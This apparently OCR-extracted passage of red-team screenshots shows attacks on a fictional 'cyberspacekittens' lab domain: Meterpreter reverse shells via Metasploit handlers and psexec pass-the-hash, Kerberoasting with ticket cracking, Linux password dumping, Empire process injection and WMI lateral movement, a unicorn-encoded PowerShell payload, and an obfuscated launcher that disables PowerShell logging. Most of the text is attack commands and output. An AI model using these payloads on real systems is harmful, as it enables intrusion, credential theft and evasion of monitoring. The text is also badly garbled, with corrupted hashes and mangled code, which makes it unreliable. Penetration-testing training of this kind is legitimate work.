csk-github:1119:aad3b435b51404eeaad3b435b51404ee:217e50203a5aba59cefa863¢c724bf61b
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:/of nimipenguin# python mimipenguin.py
[SYSTEM - GNOME] root:superlongpassword

[SYSTEM - GNOME] root:superlongpassword
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ILHOST => 54.218.58.50

L Edit Remote Desktops - 127.0.0.1
[resource (a.rc)> set LPORT 8989 e
LPORT => 8989 = i )
resource (a.rc)> set ExitOnSession false Session  Redirecton

ExitOnSession => false
Eesource (a.rc)> set EnableStageEncoding true

nableStageEncoding => true
esource (a.rc)> exploit -j 127.0.0.1
[*] Exploit running as background job 0.

No gateway configured

[-] Handler failed to bind to 54.218.58.50:8989
msf exploit(multi/handler) > [*] Started HTTPS reverse hand cyberspaceldtions.locetiel pawstrong

msf exploit(multi/handler) >

[*] https://54.218.58.50:8989 handl%ng request from Baschisctll Native
[*] https://54.218.58.50:8989 handling request from
[*] Meterpreter session 1 opened (172.26.4.61:8989 - Colors._ True Color (24 bit
Full screen mode  OS X native
msf exploit(multi/handler) > sessions -i 1 ) Start session in full screen
[*] Starting interaction with 1... Scale content

meterpreter >
[*] Local TCP relay created:

Tests—-MacBook-Pro:Downloads root#
Welcome to Ubuntu 16.04.4 LTS (GN

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

Get cloud support with Ubuntu Advantage Cloud Guest:
http://www.ubuntu.com/business/services/cloud

B packages can be updated.
b updates are security updates.

*k System restart required ¥k
ast logm Sat Mar 10 67 :107:45 2018 from 104.34.5.96
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Job started: NVLOTD

TicketByteHexStream
Hash

SamAccountName
DistinguishedName
ServicePrincipalName

beroast

> execute
>

rberoast

$krb5tgs$http/csk-github.cyberspacekittens.local: 544AB!
DBB3COCF148D51B861618E2EDEEESAO1036EBIBAFE1I9F8A8F6986D
OF255D76CA5DOE47D28204211D4C3EED46A8569C2B10OEB574F5281
4E5E2BC9A95AD89B6C64E958D218365FAFA79647C9E435435D4D20
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E14FF9E49DE62A8A5D160C3308823A2055CF8B4E138AF6311840DF
2EF2DOC2ACD45E426A765437A4FC84E685AA4E9216ACE634828DDD.
54F50DB470D18CF7B1BA1D89CD5DBO4A18E7OEE453685BOEOB1ALC
FEFEGEB62E7B26555969DF4BOCA4A29CF07929AFD0473E8DC2EESB!
OAAA88FF31F8777E1A0CO538D1B088C795540B8CC5FACE3QAEESFD
4876085B771D06860799CBEB1BF8032F98033D8F0121D7E3BEFA09
5BB28BE8A157A0A68199912D99D73BC5749AA79B247B9D432AA21CF
CFEA3692B783E52A458B15B0O36DEE25ED5323B54675525AFF722CE
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E218F7B09D2C7197CB4B24ECA77370EEE116726206A29AAF872AF1
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18F4482E3BE347045FAFF654C4ECBC50E369ED81A417A6828B1A17
AOEOQ7CBA570C7246B2961FBFB550721561D28670D19A66AES8BA9B
B75201CDA044209C5541A5E8E25A85D91934D2539C2A
csk-github

CN= csk-github CN=Users,DC=THP,DC=local
http/csk-github.cyberspacekittens.local
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root@THP-LETHAL: /opt/kerberoast# python tgsrepcrack.py /usr/share/john/password.lst
./4-40a10000-neil.pawstrong@HTTP~csk-github.cyberspacekittens.local-CYBERSPACEKITTENS.LOCAL.kirbi
found password for ticket ©: P@ssword!

File: ./4-40a10000-neil.pawstrong@HTTP~csk-github.cyberspacekittens.local-CYBERSPACEKITTENS.LOCAL.Kkirbi
All tickets cracked!
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em.IdentityModel;

i .WebClient).DownloadString(

} ForEach-Object {try{New-Object System.Iden
oken -Argumentlist $_.ServicePrincipalName}catch{}}

5 Add-Type
PS C:\Users\> iex (New-Object Syst

Id - Ju1d e561lef6-20a5-45f0-9bb9-00bf46d4
SecurityKeys : tem.IdentityModel.Tokens.InMemorySy
ValidFrom 2018 7:40:28 AM
ValidTo 2018 5:35:00 PM
ServicePrincipalName : csk- si'hub Lfbevspace<it:ens.local

SecurityKey 1.Tokens.InMemorySymmetricSecurityKey

ecurityKey}

Id : uuid-e5611ef6-208a5-45f0-9bb9-86bf46d49967-2
SecurityKeys : {System.IdentityModel.Tokens.InMemorySymmetricSecurityKey}

ValidFrom 2018 7:44:45 AM

ValidTo - E

Servic eprlnLlpallame - fcsk-github

SecurityK = m.IdentityModel.Tokens MemorySymmetricSecurityKey
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msf exploit( ) > show options

Module options (exploit/windows/smb/psexec):

Name Current Setting
RHOST 10.100.100.230
RPORT 445

SERVICE DESCRIPTION

get for pretty listing
SERVICE DISPLAY NAME
SERVICE NAME

SHARE ADMIN$
share (ADMIN$,C$,...) or a normal read/write folder share
SMBDomain
tion
SMBPass aad3b435b51404eeaad3b435b51404ee:3710b46790763e07ab0d2b6cfc4470cl
SMBUser Administrator

Payload options (windows/meterpreter/reverse tcp):

Name Current Setting Required Description

EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process,
LHOST 10.100.100.9 yes The listen address

LPORT 4444 yes The listen port

Exploit target:
Id Name

0 Automatic

msf exploit( ) > exploit

Started reverse TCP handler on 10.100.100.9:4444
10.100.100.230:445 - Connecting to the server...
10.100.100.230:445 - Authenticating to 10.100.100.230:445 as user 'Administrator'..
10.100.100.230:445 - Selecting PowerShell target
10.100.100.230:445 - Executing the payload...
[+] 10.100.100.230:445 - Service start timed out, OK if running a command or non-service e
Sending stage (179779 bytes) to 10.100.100.230
Meterpreter session 5 opened (10.100.100.9:4444 -> 10.100.100.230:51401) at 2018-02-26
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(Empire: powershell/situational_awareness/network/powerview/find_localadmin_access) > execut
Job started: ZC7B9S

buzz.cyberspacekittens.local
Find-LocalAdminAccess completed!
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svchost 3056 x64 CYBERSPACEKITTE\buzz.clawdrin ©.21 MB
explorer 3304 x64 CYBERSPACEKITTE\buzz.clawdrin 4.67 MB
smartscreen 3404 x64 CYBERSPACEKITTE\buzz.clawdrin ©0.57 MB
msdtc 3652 x64 NT AUTHORITY\NETWORK SERVICE 0.30 MB
ShellExperienceHost 3888 x64 CYBERSPACEKITTE\buzz.clawdrin .02 MB
Searchul 3976 x64 CYBERSPACEKITTE\buzz.clawdrin .02 MB
RuntimeBroker 4060 x64 CYBERSPACEKITTE\buzz.clawdrin ©.12 MB
RuntimeBroker 4216 x64 CYBERSPACEKITTE\buzz.clawdrin ©.27 MB
SkypeHost 4428 x64 CYBERSPACEKITTE\buzz.clawdrin ©.02 MB
SearchIndexer 4448 x64 NT AUTHORITY\SYSTEM 1.25 MB
svchost 4480 x64 NT AUTHORITY\SYSTEM 0.00 MB
conhost 4940 x64 CYBERSPACEKITTE\neil.pawstrong 6.99 MB
powershell 5008 x64 CYBERSPACEKITTE\neil.pawstrong 107.18 MB
RuntimeBroker 5128 x64 CYBERSPACEKITTE\buzz.clawdrin ©.05 MB
MSASCuil 5416 x64 CYBERSPACEKITTE\buzz.clawdrin ©0.03 MB
WmiPrvSE 5428 x64 NT AUTHORITY\SYSTEM 1.19 MB
vmtoolsd 5544 x64 CYBERSPACEKITTE\buzz.clawdrin 1.79 MB
cmd 5560 x64 CYBERSPACEKITTE\buzz.clawdrin .02 MB
conhost 5572 x64 CYBERSPACEKITTE\buzz.clawdrin ©.74 MB
OneDrive 5668 x86 CYBERSPACEKITTE\buzz.clawdrin ©.87 MB
(Empire: € ) > psinject http 3304

(Empire: ) >

Job started: DP1YCR
[+] Initial agent 5RTS496N from 10.100.100.220 now active (Slack)

(Empire: ) > sysinfo

(Empire: ) > sysinfo: ©|http://10.100.100.9:80|CYBERSPACEKITTE |buzz.clawdrin|B
Listener: http://10.100.100.9:80

Internal IP: 10.100.100.220

Username: CYBERSPACEKITTE\buzz.clawdrin

Hostname: BUZZ

0S: Microsoft Windows 10 Pro

High Integrity: 0

Process Name: explorer

Process ID: 3304

Language: powershell
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(Empire: powershell/lateral_movement/new_gpo_immediate_task) > usemodule powershell/lateral movement/invoke wmi
(Empire: powershell/lateral movement/invoke wmi) > set ComputerName buzz.cyberspacekittens.local
powershell/lateral_movement/invoke_wmi) > set Listener http

powershell/lateral_movement/invoke wmi) > execute

(Empire: powershell/lateral_movement/invoke_wmi) >

Invoke-Wmi executed on "buzz.cyberspacekittens.local"

[+] Initial agent AWSBSCU7 from 10.100.100.220 now active (Slack)
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(Empire: ) > shell dir \\buzz.cyberspacekittens.local\C$

(Empire: ) >

Directory: \\buzz.cyberspacekittens.local\C$

Mode LastWriteTime
d----- 2/10/2018 7:59 PM
d-r--- 2/11/2018 2:04 AM
d-r--- 9/29/2017 7:41 AM
d-r--- 2/11/2018 1:58 AM
d----- 2/10/2018 11:58 PM

..Command execution completed.

Length Name

PerfLogs

Program Files
Program Files (x86)
Users

Windows
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Command was not found, try help or ? for more information.

All shiny again.

Inside modules: show options, set <option>,run
Additional commands: back, help, ?, exit, quit
Update or Install: update, upgrade, install, run

[ptf> show modules/

Iptf> show modules/

modules/ modules/osx/
modules/av-bypass/ modules/password-recovery/
modules/code-audit/ modules/pivoting/
modules/exploitation/ modules/post-exploitation/
modules/install_update_all modules/powershell/
modules/intelligence-gathering/ modules/pre-engagement/
modules/mobile-analysis/ modules/reporting/

Available from main prompt: show modules, show <module>, search <name>, use <module>

modules/reversing/
modules/threat-modeling/
modules/update_installed
modules/vulnerability-analysis/
modules/webshells/
modules/windows—-tools/
modules/wireless/
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root@ip-172-26-5-17

pentest# ls intelligence-gathering/

bfa eyewitness httpscreenshot osrframework scancannon spiderfoot
dirsearch fierce InSpy prowl server-status_PWN ssh-audit
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gobuster masscan recon-ng simplyemail sublist3r
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enumélinux hardcidr onesixtyone sap-dissector-wireshark sniper tweets_analyzer
root@ip-172-26-5-179:/pentest# 1ls exploitation/
badkeys clusterd fido ikeforce maligno routersploit
beef commix fimap impacket metasploit setoolkit
bettercap davtest fuzzbunch inception nosqlmap shellnoob
birp eternalblue-doublepulsar-metasploit gateway-finder jboss-autopwn owasp-zsc sipvicious
brutex ettercap gladius jexboss phishery snarf
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root@thp3: /opt/unicorn# python unicorn.py windows/meterpreter/reverse https 10.100.100.2 443

[*] Generating the payload shellcode.. This could take a few seconds/minutes as we create the shellcode.|
powershell /w 1 /C "s''v oof -;s''v iRZ e''c;s''v gI ((g''v oof).value.toString()+(g''v iRZ).value.toSt
tring() ('JABZAHUAIAA9ACAAIWAKAGQAVQAGADOATIAANACCAWWBEAGWADABIAGOACABVAHIAJAAOACIAawBLAHIAbgBLAGWAMWAYA!
ZAHQAYQBOAGKAYWAGAGUAeABOAGUACGBUACAASQBUAHQAUABOAHIATIABWAGKACGBOAHUAYQBSAEEADABSAGBAYWAOAEKADGBOAFAACA
aQBUAHQAIABKAHCAUWBpAHOAZQASACAAdQOBPAG4AdAAgAGYADABBAGWADABVAGMAYQBOAGKAbWBUAFQAEQBWAGUALAAgAHUAaQBUAHQ,
GwADABJAGOACABVAHIAJAAOACIAawBLAHIADgBLAGWAMWAYAC4AZABSAGWATGAPAFOACABIAGIADABPAGMATABZAHQAYQBOAGKAYWAQ
BDAHIAZQBhAHQAZQBUAGGACgBLAGEAZAAOAEKADgBOAFAAJABYACAADABWAFQAaABYAGUAYQBKAEEAdJABOAHIAaQBiAHUAJABLAHMAL
AaQB6AGUALAAGAEKADGBOAFAAdABYACAADABWAFMAJABhAHIAJABBAGQAZABYAGUACWBZACWATABIAG4AdABQAHQACGAGAGWACABQAG
AGQAdwBDAHIAZQBhAHQAaQBVAG4ARgBSAGEAZWBZACWATABIAG4AdABQAHQACgAgAGWACABUAGGACgBLAGEAZABIAGQAKQA7AFSARAB
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Le trafic est redirigé vers notre serveur C2

Le trafic est redirigé vers notre sous-domaine CDN

Communique vers le domaine CDN principal
L'en-téte de I'hote pointe vers notre sous-domaine CDN
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Description:

Starts a http[s] listener (PowerShell or

GET/POST approach.

HTTP[S] Options:

Name Required
SlackToken False
ProxyCreds False
KillDate False
Name True
Launcher True
DefaultDelay True
DefaultLostLimit True
WorkingHours False
SlackChannel False
DefaultProfile True
Host True
CertPath False
Defaultlitter True
Proxy False
UserAgent False
StagingKey True
BindIP True
Port True
ServerVersion True
StagerURI False
(Empire: ) > set

Python) that uses a

default

http

powershell -noP -sta -w 1 -enc
5

60

#general
/admin/get.php,/news.php, /login/
process.php|Mozilla/5.0 (Windows
NT 6.1; WOW64; Trident/7.0;
rv:11.0) like Gecko
http://10.100.100.9:80

0.0

default

default
89f769fb6ea59812c8c7aa891a74608f
0.0.0.0

80

Microsoft-IIS/7.5

Killbate 07/13/802701f}

Description
Your SlackBot API token
Proxy credentials ([doma
Date for the listener to
Name for the listener.
Launcher string.

Agent delay/reach back i
Number of missed checkin
Hours for the agent to o
The Slack channel or DM
Default communication pr

Hostname/IP for staging.
Certificate path for htt
Jitter in agent reachbac
Proxy to use for request
User-agent string to use
Staging key for initial
The IP to bind to on the
Port for the listener.
Server header for the co
URI for the stager. Must
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root@THP-LETHAL: /tmp# cat launcher.bat

@echo off

start /b c:\WinDows\SystEm32\CMD /C"seT azU= sv ('K'+'mil9') ([type]("{6}{8}{7}{1}{5}{4}{0}{3}{9}{2}" -

cT*, !, “C.dIctionA", ¥S.GENERI", *COLLE", ‘0%, CEX", “iINg, SYST") ) sSv ("{8}{1}* -F'h","dEY6") ( [t¥pe](*{2}{1}

crI','0OcK') ) ; $PNYvla=[tYpe]("{0}{1}"-F'R',6'Ef') ; SEt-iTEm ("{2}{3}{0}{1}" -f':',6'h2VsSe’,'vARiA', 'BLe')

{3}{7}{2}{0}"-F'Ager’, 'sy', 'IcEpOinTMAn','R','ST','E','m.neT.SE’','V')) ; $FMs2 =[Type] ("{1}{4}{0}{3}{2}" -f'

eb','eM.NEt') ; $sldrv =[tYpe] ("{8}{3}{1}{5}{0}{7}{2}{6}{4}" -f '.C','e','dENTi', 'TEM.N', 'caChe','t','AL', " 're"
yPe]l ("{2}{4}{5}{0}{1}{3}" -F 'xt.en','co','Sy', 'dINg','sTem.','Te') ;IF(${psv ERsIOn Ta BLE}."PsVeRSI on"."mA.

$pNYV1a."a SseM Bly".("{1}{0}{2}" -f 'TTY','GE', 'pE').Invoke(("{3}{4}{5}{1}{2}{0}" -f'tils', 'gement.Auto’', 'ma

,'na')) . "GEtFIE ld" (("{4}{3}{1}{2}{5}{6}{0}" -f's', 'hedGroupP', 'olicy','c','ca’', 'Setti','ng'), 'N'+("{0}{2}{1}"~
at'));IF(${q pF}){${g PC}=${g pf}.("{0}{2}{1}" -f 'G','ALUe','eTV').Invoke(${nu LL});If(${g pCI[("{O}{1}{2}" -

}{0}{1}" -f 'kLoggin','g','loc’')]){${g pc}("{1}{@}"-f 'iptB','Scr')+("{1}{2}{3}{e}"-f 'gging','l','0", 'ckLo")]
f 'bleSc','riptB','E','a', 'n')+("{3}{2}{0}{1}" -f'oggi','ng','L"', 'lock')]1=0;${g Pc}[("{2}{1}{0}"-f'ptB", 'ri',"

f 'lockL','og','g','ing') ] [("{1}{4}{5}{3}{7}{6}{2}{e}"-f'g", 'EnableScrip’, 'onLoggin’, '‘lockIn','t','B','ati’','v

9::("{0}{1}" -f'N','EW').Invoke();${V ' ALl}.("{1}{0}"-f 'D','AD"').Invoke(("{1}{2}{0}"-f 'tB', 'EnableScri','p"')+("
‘l','9gging'),0);${V AL}.("{1}{e}" -f 'd','AD').Invoke(("{6}{5}{1}{0}{3}{2}{4}"-f 'c','nvo’','nLoggi’, 'atio’, 'ng’
'E'),0);8{G pc} [ ((("{3}{19}{20}{15}{2}{18}{14}{17}{12}{1}{8}{16}{6}{23}{11}{13}{24}{0}{9}{10}{4}{7}{21}{5}{22}"
HK', 'owsc', '0Scrip’, 'o@Polic', ‘oOPowerS','re', 'co®W', 'ind','co’,'o", 'OMicr', 'INEco®',' M','c','S', 'H', 'EY LOCA'
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